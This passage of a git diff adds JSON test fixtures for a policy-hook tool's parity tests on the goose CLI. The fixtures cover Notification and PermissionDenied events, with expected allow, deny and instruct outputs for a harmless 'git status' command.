[ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c81950d6 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ddce8041 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..12de9484 --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..26d3eb8b --- /dev/null +++ b/__tests__/parity/fixtures/goose/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b6e0e09f --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..621c45a8 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..48d9cd4c --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..66fb68d9 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..39f220d7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..3bf8ada0 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e0ddb208 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d26bcdff --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..a2563556 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..680e5f01 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..6bff63f2 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..bae2ae0e --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6d6d3686 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2dbc7fd7 --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..cc1979af --- /dev/null +++ b/__tests__/parity/fixtures/goose/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + 